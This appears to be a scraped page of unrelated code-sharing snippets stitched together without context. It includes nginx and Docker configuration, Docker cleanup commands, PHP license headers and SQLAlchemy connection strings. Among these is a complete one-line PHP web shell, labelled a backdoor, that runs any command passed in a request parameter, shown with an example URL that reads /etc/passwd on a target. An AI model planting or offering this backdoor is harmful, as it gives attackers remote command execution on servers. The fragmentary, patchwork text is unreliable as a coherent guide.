Let's say you want to host domains first.com and second.com.
Create folders for their files:
| <?php | |
| /** | |
| * Copyright 2016 [email protected] | |
| * | |
| * Licensed under the Apache License, Version 2.0 (the "License"); | |
| * you may not use this file except in compliance with the License. | |
| * You may obtain a copy of the License at | |
| * | |
| * http://www.apache.org/licenses/LICENSE-2.0 | |
| * |
Once in a while, you may need to cleanup resources (containers, volumes, images, networks) ...
// see: https://github.com/chadoe/docker-cleanup-volumes
$ docker volume rm $(docker volume ls -qf dangling=true)
$ docker volume ls -qf dangling=true | xargs -r docker volume rm
| <!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
| <!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
| <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
| server { | |
| listen 80 default_server; | |
| server_name example.com www.example.com; | |
| access_log /srv/www/example.com/logs/access.log; | |
| error_log /srv/www/example.com/logs/error.log; | |
| root /srv/www/example.com/public; | |
| index index.php index.html; |
This procedure is tested on Mac OS X 10.10.5 with Developpers tools installed (xCode).
PHP 5.6 installed with Homebrew.
Download the following files from Oracle website (yes, you need to create an account and accept terms):
Other people's projects:
My projects (tutorials are on my blog at http://maxoffsky.com):
| docker ps | awk {' print $1 '} | tail -n+2 > tmp.txt; for line in $(cat tmp.txt); do docker kill $line; done; rm tmp.txt |
| # sets the proxy cache path location, max size 2g | |
| proxy_cache_path /data/nginx/cache levels=1:2 keys_zone=STATIC:100m inactive=24h max_size=2g; | |
| # transfers the `Host` header to the backend | |
| proxy_set_header Host $host; | |
| # uses the defined STATIC cache zone | |
| proxy_cache STATIC; | |
| # cache 200 10 minutes, 404 1 minute, others status codes not cached |
| # This is not used unless SQLALCHEMY_BINDS is not present | |
| SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://{username}:{password}@{hostname}/{database}?charset=utf8' | |
| SQLALCHEMY_BINDS = { | |
| 'master': 'mysql+pymysql://{username}:{password}@{hostname}/{database}?charset=utf8', | |
| 'slave': 'mysql+pymysql://{username}:{password}@{hostname}/{database}?charset=utf8' | |
| } |